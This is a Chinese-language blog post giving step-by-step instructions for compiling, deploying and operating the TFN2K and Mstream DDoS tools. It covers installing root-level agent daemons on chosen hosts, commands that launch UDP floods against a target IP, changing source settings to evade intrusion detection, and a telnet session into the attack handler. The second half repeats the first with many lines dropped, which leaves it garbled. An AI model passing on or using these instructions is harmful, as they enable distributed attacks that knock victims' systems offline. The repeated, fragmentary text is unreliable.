经典DDOS工具TFN2K的编译和使用方法
类别:win_lin_mac
post by sunshine / 2013-4-3 00:56 Wednesday
######################### TFN2K ##############################
什么是TFN2K?
------------
TFN2K通过主控端利用大量代理端主机的资源进行对一个或多个目标进行协同攻击。当前互联网中的
UNIX、Solaris和Windows NT等平台的主机能被用于此类攻击,而且这个工具非常容易被移植到其它系统
平台上。
TFN2K由两部分组成:在主控端主机上的客户端和在代理端主机上的守护进程。主控端向其代理端发
送攻击指定的目标主机列表。代理端据此对目标进行拒绝服务攻击。由一个主控端控制的多个代理端主
机,能够在攻击过程中相互协同,保证攻击的连续性。主控央和代理端的网络通讯是经过加密的,还可
能混杂了许多虚假数据包。整个TFN2K网络可能使用不同的TCP、UDP或ICMP包进行通讯。而且主控端还能
伪造其IP地址。所有这些特性都使发展防御 TFN2K攻击的策略和技术都非常困难或效率低下。
如何使用TFN2K?
--------------
我的使用环境:Linux
1, 解压
tar zxvf tfn2k.tgz
2, 修改
a. src/Makefile
如果你的系统是linux系统,不需要做任何修就可以, 如果你想生产Windows下的代理端,需要做
一 些修改,但是我编译后的文件在Win2000 & WinXP下出错。
b. src/ip.h
注释掉以下部分,否则编译出错。
3,编译
a. cd tfn2k
make
或者:
b. cd tfn2k/src
make
在提示设置密码后,会生成 tfn 和 td 两个文件,其中 tfn 是控制段,td 是守护进程。
4, 安装 td
自己去安装吧,需要root权限。
5, 攻击
a. 编辑一个文本文件,将安装了 td 的机器的ip地址添加进去, 格式为:
ip
ip
...
...
b. 测试代理端(可选)
./tfn -f host.txt -c 10 -i "mkdir /tmp/test_TFN2K"
检查安装了 td 的机器是否存在 /tmp/test_TFN2K 目录
c. ./tfn 列出命令的格式和参数
./tfn -f host -c 4 -i 1.1.1.1 对1.1.1.1发动 UDP flood 攻击
######################### Mstream ##############################
mstream的源程序共有两个文件:master.c 和 server.c
其中server.c用于生成agent端程序server, master.c用于生成控制端程序 master.
简单使用流程:
client(s)-->handler(s)-->agent(s)-->victim(s)
clent: attacker所在主机
handler: 运行 master 程序
agent: 运行 server 程序
victim: 被攻击主机
1, 修改源程序以符合自己的要求
注: 修改口令能防止自己的agent被滥用, 修改控制端口利于躲避IDS的探测.
server.c
-----------------------------
#define PASSWORD "pssword"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)
...
....
-------------------------------
其中比较关键是:
#define PASSWORD "pssword" 将"password"替换成你自己的密码
#define MASTER_TCP_PORT 6723 和 #define MASTER_UDP_PORT 9325 是设置控制端口需要和master.c中
一致.
master.c
---------------------------------------
char *m[]={
"1.1.1.1",
"2.2.2.2",
"3.3.3.3",
0 };
#define MASTER_PORT 9325
#define SERVER_PORT 7983
...
...
-----------------------------------------
char *m[]={
"1.1.1.1",
"2.2.2.2",
"3.3.3.3",
0 };
以上的ip地址要根据需要设置成你自己的.
#define MASTER_PORT 9325
#define SERVER_PORT 7983
以上端口要和server.c中的设置一致.
2, 编译
gcc -o master master.c
gcc -o server server.c
3, 安装
自己选择合适的机器安装master和server程序. 并运行.
4, 使用
a. telnet ip port # ip 为运行master的主机, port为编译时设置的master_port
输入编译时设置的密码后, 进入handler控制模式:
如下:
--------------------
# telnet 1.1.1.1 6723
Trying 1.1.1.1...
Connected to 1.1.1.1 (1.1.1.1).
Escape character is '^]'.
password
> help
Available commands:
stream -- stream attack !
servers -- Prints all known servers.
ping
什么是TFN2K?
------------
UNIX、Solaris和Windows NT等平台的主机能被用于此类攻击,而且这个工具非常容易被移植到其它系统
平台上。
送攻击指定的目标主机列表。代理端据此对目标进行拒绝服务攻击。由一个主控端控制的多个代理端主
机,能够在攻击过程中相互协同,保证攻击的连续性。主控央和代理端的网络通讯是经过加密的,还可
能混杂了许多虚假数据包。整个TFN2K网络可能使用不同的TCP、UDP或ICMP包进行通讯。而且主控端还能
伪造其IP地址。所有这些特性都使发展防御 TFN2K攻击的策略和技术都非常困难或效率低下。
如何使用TFN2K?
--------------
我的使用环境:Linux
1, 解压
2, 修改
一
3,编译
4, 安装 td
5, 攻击
######################### Mstream ##############################
mstream的源程序共有两个文件:master.c 和 server.c
其中server.c用于生成agent端程序server, master.c用于生成控制端程序 master.
简单使用流程:
client(s)-->handler(s)-->agent(s)-->victim(s)
clent:
handler: 运行 master 程序
agent:
victim:
1, 修改源程序以符合自己的要求
server.c
-----------------------------
#define PASSWORD "pssword"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)
...
....
-------------------------------
其中比较关键是:
#define PASSWORD "pssword"
#define MASTER_TCP_PORT 6723 和 #define MASTER_UDP_PORT 9325 是设置控制端口需要和master.c中
一致.
master.c
---------------------------------------
char *m[]={
#define MASTER_PORT 9325
#define SERVER_PORT 7983
...
...
-----------------------------------------
char *m[]={
以上的ip地址要根据需要设置成你自己的.
#define MASTER_PORT 9325
#define SERVER_PORT 7983
以上端口要和server.c中的设置一致.
2, 编译
3, 安装
4, 使用
如下:
--------------------
# telnet 1.1.1.1 6723
Trying 1.1.1.1...
Connected to 1.1.1.1 (1.1.1.1).
Escape character is '^]'.
password
> help
Available commands:
stream
servers
ping